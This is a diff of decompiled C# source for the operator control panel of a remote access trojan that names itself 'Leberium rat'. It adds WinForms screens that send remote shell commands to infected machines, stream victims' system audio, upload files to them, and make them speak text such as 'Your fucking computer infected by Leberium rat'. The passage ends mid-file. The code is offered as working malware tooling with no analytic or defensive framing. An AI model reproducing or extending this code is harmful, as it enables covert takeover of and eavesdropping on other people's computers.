this.rjComboBox1.Padding = new System.Windows.Forms.Padding(1);
this.rjComboBox1.Size = new System.Drawing.Size(200, 30);
this.rjComboBox1.TabIndex = 0;
this.rjComboBox1.Texts = "";
this.rjComboBox1.OnSelectedIndexChanged += new System.EventHandler(rjComboBox1_OnSelectedIndexChanged);
// Theme selection group
this.groupBox5.Controls.Add(this.materialLabel5);
this.groupBox5.Controls.Add(this.rjComboBoxTheme);
this.groupBox5.Location = new System.Drawing.Point(428, 173);
this.groupBox5.Name = "groupBox5";
this.groupBox5.Size = new System.Drawing.Size(407, 100);
this.groupBox5.TabIndex = 66;
this.groupBox5.TabStop = false;
this.groupBox5.Text = "Theme";
this.materialLabel5.AutoSize = true;
this.materialLabel5.Depth = 0;
this.materialLabel5.Font = new System.Drawing.Font("Roboto", 14f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Pixel);
this.materialLabel5.Location = new System.Drawing.Point(16, 20);
this.materialLabel5.MouseState = MaterialSkin.MouseState.HOVER;
this.materialLabel5.Name = "materialLabel5";
this.materialLabel5.Size = new System.Drawing.Size(52, 19);
this.materialLabel5.TabIndex = 1;
this.materialLabel5.Text = "Theme:";
this.rjComboBoxTheme.BackColor = System.Drawing.Color.WhiteSmoke;
this.rjComboBoxTheme.BorderColor = System.Drawing.Color.MediumSlateBlue;
this.rjComboBoxTheme.BorderSize = 1;
this.rjComboBoxTheme.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDown;
this.rjComboBoxTheme.Font = new System.Drawing.Font("Microsoft Sans Serif", 10f);
this.rjComboBoxTheme.ForeColor = System.Drawing.Color.DimGray;
this.rjComboBoxTheme.IconColor = System.Drawing.Color.MediumSlateBlue;
this.rjComboBoxTheme.Items.AddRange(new object[2] { "Light", "Dark" });
this.rjComboBoxTheme.ListBackColor = System.Drawing.Color.FromArgb(230, 228, 245);
this.rjComboBoxTheme.ListTextColor = System.Drawing.Color.DimGray;
this.rjComboBoxTheme.Location = new System.Drawing.Point(16, 42);
this.rjComboBoxTheme.MinimumSize = new System.Drawing.Size(200, 30);
this.rjComboBoxTheme.Name = "rjComboBoxTheme";
this.rjComboBoxTheme.Padding = new System.Windows.Forms.Padding(1);
this.rjComboBoxTheme.Size = new System.Drawing.Size(200, 30);
this.rjComboBoxTheme.TabIndex = 0;
this.rjComboBoxTheme.Texts = "";
this.rjComboBoxTheme.OnSelectedIndexChanged += new System.EventHandler(rjComboBoxTheme_OnSelectedIndexChanged);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(847, 474);
base.Controls.Add(this.groupBox5);
base.Controls.Add(this.groupBox4);
base.Controls.Add(this.groupBox3);
base.Controls.Add(this.groupBox2);
base.Controls.Add(this.groupBox1);
base.MaximizeBox = false;
base.Name = "FormSettings";
base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Settings";
base.Load += new System.EventHandler(FormSettings_Load);
this.groupBox1.ResumeLayout(false);
this.groupBox1.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.numericUpDown1).EndInit();
this.groupBox2.ResumeLayout(false);
this.groupBox2.PerformLayout();
this.groupBox3.ResumeLayout(false);
this.groupBox4.ResumeLayout(false);
this.groupBox4.PerformLayout();
this.groupBox5.ResumeLayout(false);
this.groupBox5.PerformLayout();
base.ResumeLayout(false);
}
}
+149
View File
@@ -0,0 +1,149 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using CustomControls.RJControls;
using MaterialSkin;
using Server.Connectings;
using Server.Helper;
namespace Server.Forms;
public class FormShell : FormMaterial
{
public Clients client;
public Clients parrent;
private IContainer components;
private Timer timer1;
public RichTextBox richTextBox1;
public RJTextBox rjTextBox1;
public FormShell()
{
InitializeComponent();
base.FormClosing += Closing1;
}
private void FormProcess_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
timer1.Start();
rjTextBox1.textBox1.KeyDown += _KeyClick;
rjTextBox1.textBox1.KeyUp += _KeyClick;
}
private void ChangeScheme(object sender)
{
richTextBox1.ForeColor = FormMaterial.PrimaryColor;
rjTextBox1.BorderColor = FormMaterial.PrimaryColor;
}
private void Closing1(object sender, EventArgs e)
{
if (client != null)
{
client.Disconnect();
}
}
private void timer1_Tick(object sender, EventArgs e)
{
if (!parrent.itsConnect)
{
Close();
}
if (client != null && !client.itsConnect)
{
Close();
}
}
private void _KeyClick(object sender, KeyEventArgs e)
{
if (e.KeyCode == Keys.Return && !string.IsNullOrEmpty(rjTextBox1.textBox1.Text))
{
if (rjTextBox1.textBox1.Text.ToLower() != "cls")
{
client.Send(new object[2]
{
"Shell",
rjTextBox1.textBox1.Text
});
}
else
{
richTextBox1.Clear();
}
rjTextBox1.textBox1.Text = "";
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.richTextBox1 = new System.Windows.Forms.RichTextBox();
this.rjTextBox1 = new CustomControls.RJControls.RJTextBox();
base.SuspendLayout();
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
this.richTextBox1.BackColor = System.Drawing.Color.White;
this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Fill;
this.richTextBox1.Enabled = false;
this.richTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
this.richTextBox1.ForeColor = System.Drawing.Color.MediumSlateBlue;
this.richTextBox1.Location = new System.Drawing.Point(3, 64);
this.richTextBox1.Name = "richTextBox1";
this.richTextBox1.ReadOnly = true;
this.richTextBox1.Size = new System.Drawing.Size(794, 437);
this.richTextBox1.TabIndex = 1;
this.richTextBox1.Text = "";
this.rjTextBox1.BackColor = System.Drawing.SystemColors.Window;
this.rjTextBox1.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjTextBox1.BorderFocusColor = System.Drawing.Color.HotPink;
this.rjTextBox1.BorderRadius = 0;
this.rjTextBox1.BorderSize = 1;
this.rjTextBox1.Dock = System.Windows.Forms.DockStyle.Bottom;
this.rjTextBox1.Enabled = false;
this.rjTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.5f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox1.ForeColor = System.Drawing.Color.FromArgb(64, 64, 64);
this.rjTextBox1.Location = new System.Drawing.Point(3, 501);
this.rjTextBox1.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox1.Multiline = false;
this.rjTextBox1.Name = "rjTextBox1";
this.rjTextBox1.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox1.PasswordChar = false;
this.rjTextBox1.PlaceholderColor = System.Drawing.Color.DarkGray;
this.rjTextBox1.PlaceholderText = "";
this.rjTextBox1.Size = new System.Drawing.Size(794, 31);
this.rjTextBox1.TabIndex = 14;
this.rjTextBox1.Texts = "";
this.rjTextBox1.UnderlinedStyle = false;
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.White;
base.ClientSize = new System.Drawing.Size(800, 535);
base.Controls.Add(this.richTextBox1);
base.Controls.Add(this.rjTextBox1);
base.Name = "FormShell";
this.Text = "Shell";
base.Load += new System.EventHandler(FormProcess_Load);
base.ResumeLayout(false);
}
}
+244
View File
@@ -0,0 +1,244 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using CustomControls.RJControls;
using MaterialSkin;
using MaterialSkin.Controls;
using Server.Connectings;
using Server.Helper;
namespace Server.Forms;
public class FormSpeakerBot : FormMaterial
{
public Clients client;
public Clients parrent;
private IContainer components;
private Timer timer1;
private Panel panel1;
public RichTextBox richTextBox1;
private MaterialLabel materialLabel1;
private MaterialLabel materialLabel2;
private MaterialLabel materialLabel3;
public TrackBar trackBar1;
public TrackBar trackBar2;
public RJComboBox rjComboBox1;
public RJButton rjButton1;
public FormSpeakerBot()
{
InitializeComponent();
base.FormClosing += Closing1;
}
private void FormProcess_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
timer1.Start();
}
private void ChangeScheme(object sender)
{
rjButton1.BorderColor = FormMaterial.PrimaryColor;
rjButton1.ForeColor = FormMaterial.PrimaryColor;
richTextBox1.ForeColor = FormMaterial.PrimaryColor;
rjComboBox1.BorderColor = FormMaterial.PrimaryColor;
}
private void Closing1(object sender, EventArgs e)
{
if (client != null)
{
client.Disconnect();
}
}
private void timer1_Tick(object sender, EventArgs e)
{
if (!parrent.itsConnect)
{
Close();
}
if (client != null && !client.itsConnect)
{
Close();
}
}
private void rjButton1_Click_1(object sender, EventArgs e)
{
if (client.itsConnect && rjComboBox1.SelectedIndex != 0)
{
client.Send(new object[5]
{
"Speak",
trackBar2.Value,
trackBar1.Value,
((string)rjComboBox1.SelectedItem).Split(new string[1] { " | " }, StringSplitOptions.None)[0],
richTextBox1.Text
});
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.panel1 = new System.Windows.Forms.Panel();
this.rjButton1 = new CustomControls.RJControls.RJButton();
this.rjComboBox1 = new CustomControls.RJControls.RJComboBox();
this.materialLabel3 = new MaterialSkin.Controls.MaterialLabel();
this.materialLabel2 = new MaterialSkin.Controls.MaterialLabel();
this.trackBar1 = new System.Windows.Forms.TrackBar();
this.materialLabel1 = new MaterialSkin.Controls.MaterialLabel();
this.trackBar2 = new System.Windows.Forms.TrackBar();
this.richTextBox1 = new System.Windows.Forms.RichTextBox();
this.panel1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.trackBar1).BeginInit();
((System.ComponentModel.ISupportInitialize)this.trackBar2).BeginInit();
base.SuspendLayout();
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
this.panel1.Controls.Add(this.rjButton1);
this.panel1.Controls.Add(this.rjComboBox1);
this.panel1.Controls.Add(this.materialLabel3);
this.panel1.Controls.Add(this.materialLabel2);
this.panel1.Controls.Add(this.trackBar1);
this.panel1.Controls.Add(this.materialLabel1);
this.panel1.Controls.Add(this.trackBar2);
this.panel1.Controls.Add(this.richTextBox1);
this.panel1.Dock = System.Windows.Forms.DockStyle.Fill;
this.panel1.Location = new System.Drawing.Point(3, 64);
this.panel1.Name = "panel1";
this.panel1.Size = new System.Drawing.Size(524, 479);
this.panel1.TabIndex = 0;
this.rjButton1.Anchor = System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left;
this.rjButton1.BackColor = System.Drawing.Color.White;
this.rjButton1.BackgroundColor = System.Drawing.Color.White;
this.rjButton1.BorderColor = System.Drawing.Color.MediumSlateBlue;
this.rjButton1.BorderRadius = 0;
this.rjButton1.BorderSize = 1;
this.rjButton1.Enabled = false;
this.rjButton1.FlatAppearance.BorderSize = 0;
this.rjButton1.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton1.ForeColor = System.Drawing.Color.MediumSlateBlue;
this.rjButton1.Location = new System.Drawing.Point(395, 376);
this.rjButton1.Name = "rjButton1";
this.rjButton1.Size = new System.Drawing.Size(92, 30);
this.rjButton1.TabIndex = 36;
this.rjButton1.Text = "Speak";
this.rjButton1.TextColor = System.Drawing.Color.MediumSlateBlue;
this.rjButton1.UseVisualStyleBackColor = false;
this.rjButton1.Click += new System.EventHandler(rjButton1_Click_1);
this.rjComboBox1.Anchor = System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left;
this.rjComboBox1.BackColor = System.Drawing.Color.WhiteSmoke;
this.rjComboBox1.BorderColor = System.Drawing.Color.MediumSlateBlue;
this.rjComboBox1.BorderSize = 1;
this.rjComboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDown;
this.rjComboBox1.Enabled = false;
this.rjComboBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 10f);
this.rjComboBox1.ForeColor = System.Drawing.Color.DimGray;
this.rjComboBox1.IconColor = System.Drawing.Color.MediumSlateBlue;
this.rjComboBox1.ListBackColor = System.Drawing.Color.FromArgb(230, 228, 245);
this.rjComboBox1.ListTextColor = System.Drawing.Color.DimGray;
this.rjComboBox1.Location = new System.Drawing.Point(98, 429);
this.rjComboBox1.MinimumSize = new System.Drawing.Size(200, 30);
this.rjComboBox1.Name = "rjComboBox1";
this.rjComboBox1.Padding = new System.Windows.Forms.Padding(1);
this.rjComboBox1.Size = new System.Drawing.Size(250, 30);
this.rjComboBox1.TabIndex = 35;
this.rjComboBox1.Texts = "";
this.materialLabel3.Anchor = System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left;
this.materialLabel3.AutoSize = true;
this.materialLabel3.Depth = 0;
this.materialLabel3.Font = new System.Drawing.Font("Roboto", 14f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Pixel);
this.materialLabel3.Location = new System.Drawing.Point(7, 428);
this.materialLabel3.MouseState = MaterialSkin.MouseState.HOVER;
this.materialLabel3.Name = "materialLabel3";
this.materialLabel3.Size = new System.Drawing.Size(48, 19);
this.materialLabel3.TabIndex = 34;
this.materialLabel3.Text = "Voices";
this.materialLabel2.Anchor = System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left;
this.materialLabel2.AutoSize = true;
this.materialLabel2.Depth = 0;
this.materialLabel2.Font = new System.Drawing.Font("Roboto", 14f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Pixel);
this.materialLabel2.Location = new System.Drawing.Point(7, 340);
this.materialLabel2.MouseState = MaterialSkin.MouseState.HOVER;
this.materialLabel2.Name = "materialLabel2";
this.materialLabel2.Size = new System.Drawing.Size(55, 19);
this.materialLabel2.TabIndex = 33;
this.materialLabel2.Text = "Volume";
this.trackBar1.Anchor = System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left;
this.trackBar1.Enabled = false;
this.trackBar1.Location = new System.Drawing.Point(98, 327);
this.trackBar1.Maximum = 100;
this.trackBar1.Name = "trackBar1";
this.trackBar1.Size = new System.Drawing.Size(250, 45);
this.trackBar1.TabIndex = 30;
this.trackBar1.Value = 100;
this.materialLabel1.Anchor = System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left;
this.materialLabel1.AutoSize = true;
this.materialLabel1.Depth = 0;
this.materialLabel1.Font = new System.Drawing.Font("Roboto", 14f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Pixel);
this.materialLabel1.Location = new System.Drawing.Point(7, 387);
this.materialLabel1.MouseState = MaterialSkin.MouseState.HOVER;
this.materialLabel1.Name = "materialLabel1";
this.materialLabel1.Size = new System.Drawing.Size(85, 19);
this.materialLabel1.TabIndex = 32;
this.materialLabel1.Text = "Tone Speak";
this.trackBar2.Anchor = System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left;
this.trackBar2.Enabled = false;
this.trackBar2.Location = new System.Drawing.Point(98, 378);
this.trackBar2.Minimum = -10;
this.trackBar2.Name = "trackBar2";
this.trackBar2.Size = new System.Drawing.Size(250, 45);
this.trackBar2.TabIndex = 31;
this.richTextBox1.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left | System.Windows.Forms.AnchorStyles.Right;
this.richTextBox1.BackColor = System.Drawing.Color.White;
this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.richTextBox1.Enabled = false;
this.richTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
this.richTextBox1.ForeColor = System.Drawing.Color.MediumSlateBlue;
this.richTextBox1.Location = new System.Drawing.Point(0, 0);
this.richTextBox1.Name = "richTextBox1";
this.richTextBox1.Size = new System.Drawing.Size(521, 321);
this.richTextBox1.TabIndex = 2;
this.richTextBox1.Text = "Your fucking computer infected by Leberium rat";
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.White;
base.ClientSize = new System.Drawing.Size(530, 546);
base.Controls.Add(this.panel1);
base.Name = "FormSpeakerBot";
this.Text = "Speaker Bot";
base.Load += new System.EventHandler(FormProcess_Load);
this.panel1.ResumeLayout(false);
this.panel1.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.trackBar1).EndInit();
((System.ComponentModel.ISupportInitialize)this.trackBar2).EndInit();
base.ResumeLayout(false);
}
}
+174
View File
@@ -0,0 +1,174 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Linq;
using System.Windows.Forms;
using Leb128;
using MaterialSkin;
using MaterialSkin.Controls;
using NAudio.Wave;
using NAudio.Wave.SampleProviders;
using Server.Connectings;
using Server.Helper;
namespace Server.Forms;
public class FormSystemSound : FormMaterial
{
public WaveOut waveOut;
public BufferedWaveProvider bufferedWaveProvider;
public VolumeSampleProvider volumeSampleProvider;
public Clients client;
public Clients parrent;
private IContainer components;
public MaterialSwitch materialSwitch1;
public TrackBar trackBar1;
public Timer timer1;
public FormSystemSound()
{
InitializeComponent();
base.FormClosing += Closing1;
}
private void FormSystemSound_Load(object sender, EventArgs e)
{
timer1.Start();
}
private void Closing1(object sender, EventArgs e)
{
if (waveOut != null)
{
waveOut.Stop();
waveOut.Dispose();
}
if (bufferedWaveProvider != null)
{
bufferedWaveProvider = null;
}
if (client != null)
{
client.Disconnect();
}
}
private void materialSwitch1_CheckedChanged(object sender, EventArgs e)
{
if (materialSwitch1.Checked)
{
bufferedWaveProvider = new BufferedWaveProvider(new WaveFormat(48000, 16, 2));
bufferedWaveProvider.DiscardOnBufferOverflow = true;
client.Send(LEB128.Write(new object[1] { "Start" }));
volumeSampleProvider = new VolumeSampleProvider(bufferedWaveProvider.ToSampleProvider());
volumeSampleProvider.Volume = (float)trackBar1.Value / 100f;
waveOut = new WaveOut();
waveOut.Volume = 1f;
waveOut.Init(volumeSampleProvider);
waveOut.Play();
}
else
{
if (waveOut != null)
{
waveOut.Stop();
waveOut.Dispose();
}
if (bufferedWaveProvider != null)
{
bufferedWaveProvider = null;
}
client.Send(LEB128.Write(new object[1] { "Stop" }));
}
}
private void trackBar1_Scroll(object sender, EventArgs e)
{
if (materialSwitch1.Checked)
{
volumeSampleProvider.Volume = (float)trackBar1.Value / 10f;
}
}
public void Buffer(byte[] e)
{
if (waveOut != null)
{
bufferedWaveProvider.AddSamples(e, 0, e.Count());
}
}
private void timer1_Tick(object sender, EventArgs e)
{
if (!parrent.itsConnect)
{
Close();
}
if (client != null && !client.itsConnect)
{
Close();
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
this.trackBar1 = new System.Windows.Forms.TrackBar();
this.materialSwitch1 = new MaterialSkin.Controls.MaterialSwitch();
this.timer1 = new System.Windows.Forms.Timer(this.components);
((System.ComponentModel.ISupportInitialize)this.trackBar1).BeginInit();
base.SuspendLayout();
this.trackBar1.Enabled = false;
this.trackBar1.Location = new System.Drawing.Point(25, 80);
this.trackBar1.Maximum = 100;
this.trackBar1.Name = "trackBar1";
this.trackBar1.Size = new System.Drawing.Size(250, 45);
this.trackBar1.TabIndex = 30;
this.trackBar1.Value = 10;
this.trackBar1.Scroll += new System.EventHandler(trackBar1_Scroll);
this.materialSwitch1.AutoSize = true;
this.materialSwitch1.Depth = 0;
this.materialSwitch1.Enabled = false;
this.materialSwitch1.Location = new System.Drawing.Point(25, 128);
this.materialSwitch1.Margin = new System.Windows.Forms.Padding(0);
this.materialSwitch1.MouseLocation = new System.Drawing.Point(-1, -1);
this.materialSwitch1.MouseState = MaterialSkin.MouseState.HOVER;
this.materialSwitch1.Name = "materialSwitch1";
this.materialSwitch1.Ripple = true;
this.materialSwitch1.Size = new System.Drawing.Size(92, 37);
this.materialSwitch1.TabIndex = 29;
this.materialSwitch1.Text = "Start";
this.materialSwitch1.UseVisualStyleBackColor = true;
this.materialSwitch1.CheckedChanged += new System.EventHandler(materialSwitch1_CheckedChanged);
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(335, 194);
base.Controls.Add(this.trackBar1);
base.Controls.Add(this.materialSwitch1);
base.Name = "FormSystemSound";
this.Text = "System Sound";
base.Load += new System.EventHandler(FormSystemSound_Load);
((System.ComponentModel.ISupportInitialize)this.trackBar1).EndInit();
base.ResumeLayout(false);
base.PerformLayout();
}
}
+212
View File
@@ -0,0 +1,212 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
using MaterialSkin;
using MaterialSkin.Controls;
using Server.Connectings;
using Server.Helper;
namespace Server.Forms;
public class FormUpload : FormMaterial
{
public string path;
public string pathto;
public byte[] bytes;
public long sends;
public long Secound;
public Clients client;
public Clients parrent;
private IContainer components;
private MaterialProgressBar materialProgressBar1;
private MaterialLabel materialLabel1;
private MaterialLabel materialLabel2;
private MaterialLabel materialLabel3;
private MaterialLabel materialLabel4;
public Timer timer2;
private MaterialLabel materialLabel5;
public Timer timer1;
public FormUpload()
{
InitializeComponent();
base.FormClosing += Closing1;
}
private void Closing1(object sender, EventArgs e)
{
if (client != null)
{
client.Disconnect();
}
}
private void FormUpload_Load(object sender, EventArgs e)
{
timer1.Start();
bytes = File.ReadAllBytes(path);
materialProgressBar1.Maximum = bytes.Length;
materialLabel3.Text = "File: " + Path.GetFileName(path);
materialLabel4.Text = "Size: " + Methods.BytesToString(bytes.LongLength);
}
public void Connected()
{
timer2.Start();
Clients clients = client;
clients.Sents = (Clients.Delegate)Delegate.Combine(clients.Sents, (Clients.Delegate)delegate(long item)
{
Program.form.Invoke((MethodInvoker)delegate
{
sends += item;
Secound += item;
if (sends <= bytes.Length)
{
materialProgressBar1.Value = (int)sends;
materialLabel5.Text = "Size Sents: " + Methods.BytesToString(sends);
client.lastPing.Last();
}
});
});
}
private void timer2_Tick(object sender, EventArgs e)
{
materialLabel2.Text = Methods.BytesToString(Secound) + "\\sec";
Secound = 0L;
materialLabel1.Text = GetPercent(bytes.Length, sends) + "% done";
}
public static long GetPercent(long b, long a)
{
if (b == 0L)
{
return 0L;
}
return (long)((decimal)a / ((decimal)b / 100m));
}
private void timer1_Tick(object sender, EventArgs e)
{
if (!parrent.itsConnect)
{
Close();
}
if (client != null && !client.itsConnect)
{
Close();
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
this.materialProgressBar1 = new MaterialSkin.Controls.MaterialProgressBar();
this.materialLabel1 = new MaterialSkin.Controls.MaterialLabel();
this.materialLabel2 = new MaterialSkin.Controls.MaterialLabel();
this.materialLabel3 = new MaterialSkin.Controls.MaterialLabel();
this.materialLabel4 = new MaterialSkin.Controls.MaterialLabel();
this.timer2 = new System.Windows.Forms.Timer(this.components);
this.materialLabel5 = new MaterialSkin.Controls.MaterialLabel();
this.timer1 = new System.Windows.Forms.Timer(this.components);
base.SuspendLayout();
this.materialProgressBar1.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left | System.Windows.Forms.AnchorStyles.Right;
this.materialProgressBar1.Depth = 0;
this.materialProgressBar1.Location = new System.Drawing.Point(6, 121);
this.materialProgressBar1.MouseState = MaterialSkin.MouseState.HOVER;
this.materialProgressBar1.Name = "materialProgressBar1";
this.materialProgressBar1.Size = new System.Drawing.Size(323, 5);
this.materialProgressBar1.TabIndex = 0;
this.materialLabel1.AutoSize = true;
this.materialLabel1.Depth = 0;
this.materialLabel1.Font = new System.Drawing.Font("Roboto", 14f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Pixel);
this.materialLabel1.Location = new System.Drawing.Point(6, 129);
this.materialLabel1.MouseState = MaterialSkin.MouseState.HOVER;
this.materialLabel1.Name = "materialLabel1";
this.materialLabel1.Size = new System.Drawing.Size(61, 19);
this.materialLabel1.TabIndex = 1;
this.materialLabel1.Text = "0% done";
this.materialLabel2.AutoSize = true;
this.materialLabel2.Depth = 0;
this.materialLabel2.Font = new System.Drawing.Font("Roboto", 14f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Pixel);
this.materialLabel2.Location = new System.Drawing.Point(243, 129);
this.materialLabel2.MouseState = MaterialSkin.MouseState.HOVER;
this.materialLabel2.Name = "materialLabel2";
this.materialLabel2.Size = new System.Drawing.Size(50, 19);
this.materialLabel2.TabIndex = 2;
this.materialLabel2.Text = "0b/sec";
this.materialLabel3.AutoSize = true;
this.materialLabel3.Depth = 0;
this.materialLabel3.Font = new System.Drawing.Font("Roboto", 14f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Pixel);
this.materialLabel3.Location = new System.Drawing.Point(6, 95);
this.materialLabel3.MouseState = MaterialSkin.MouseState.HOVER;
this.materialLabel3.Name = "materialLabel3";
this.materialLabel3.Size = new System.Drawing.Size(91, 19);
this.materialLabel3.TabIndex = 3;
this.materialLabel3.Text = "File: none.txt";
this.materialLabel4.AutoSize = true;
this.materialLabel4.Depth = 0;
this.materialLabel4.Font = new System.Drawing.Font("Roboto", 14f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Pixel);
this.materialLabel4.Location = new System.Drawing.Point(6, 73);
this.materialLabel4.MouseState = MaterialSkin.MouseState.HOVER;
this.materialLabel4.Name = "materialLabel4";
this.materialLabel4.Size = new System.Drawing.Size(71, 19);
this.materialLabel4.TabIndex = 4;
this.materialLabel4.Text = "Size: 0mb";
this.timer2.Interval = 1000;
this.timer2.Tick += new System.EventHandler(timer2_Tick);
this.materialLabel5.AutoSize = true;
this.materialLabel5.Depth = 0;
this.materialLabel5.Font = new System.Drawing.Font("Roboto", 14f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Pixel);
this.materialLabel5.Location = new System.Drawing.Point(119, 73);
this.materialLabel5.MouseState = MaterialSkin.MouseState.HOVER;
this.materialLabel5.Name = "materialLabel5";
this.materialLabel5.Size = new System.Drawing.Size(115, 19);
this.materialLabel5.TabIndex = 5;
this.materialLabel5.Text = "Size Sents: 0mb";
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(335, 162);
base.Controls.Add(this.materialLabel5);
base.Controls.Add(this.materialLabel4);
base.Controls.Add(this.materialLabel3);
base.Controls.Add(this.materialLabel2);
base.Controls.Add(this.materialLabel1);
base.Controls.Add(this.materialProgressBar1);
this.MaximumSize = new System.Drawing.Size(335, 162);
this.MinimumSize = new System.Drawing.Size(335, 162);
base.Name = "FormUpload";
this.Text = "Upload";
base.Load += new System.EventHandler(FormUpload_Load);
base.ResumeLayout(false);
base.PerformLayout();
}
}
+114
View File
@@ -0,0 +1,114 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using MaterialSkin;
using Server.Connectings;
using Server.Helper;
namespace Server.Forms;
public class FormVolumeControl : FormMaterial
{
public Clients client;
public Clients parrent;
private IContainer components;
private Timer timer1;
private Panel panel1;
public TrackBar trackBar1;
public FormVolumeControl()
{
InitializeComponent();
base.FormClosing += Closing1;
}
private void FormProcess_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
timer1.Start();
}
private void ChangeScheme(object sender)
{
}
private void Closing1(object sender, EventArgs e)
{
if (client != null)
{
client.Disconnect();
}
}
private void timer1_Tick(object sender, EventArgs e)
{
if (!parrent.itsConnect)
{
Close();
}
if (client != null && !client.itsConnect)
{
Close();
}
}
private void trackBar1_Scroll(object sender, EventArgs e)
{
client.Send(new object[2] { "Volume", trackBar1.Value });
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.panel1 = new System.Windows.Forms.Panel();
this.trackBar1 = new System.Windows.Forms.TrackBar();
this.panel1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.trackBar1).BeginInit();
base.SuspendLayout();
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
this.panel1.Controls.Add(this.trackBar1);
this.panel1.Dock = System.Windows.Forms.DockStyle.Fill;
this.panel1.Location = new System.Drawing.Point(3, 64);
this.panel1.Name = "panel1";
this.panel1.Size = new System.Drawing.Size(338, 70);
this.panel1.TabIndex = 0;
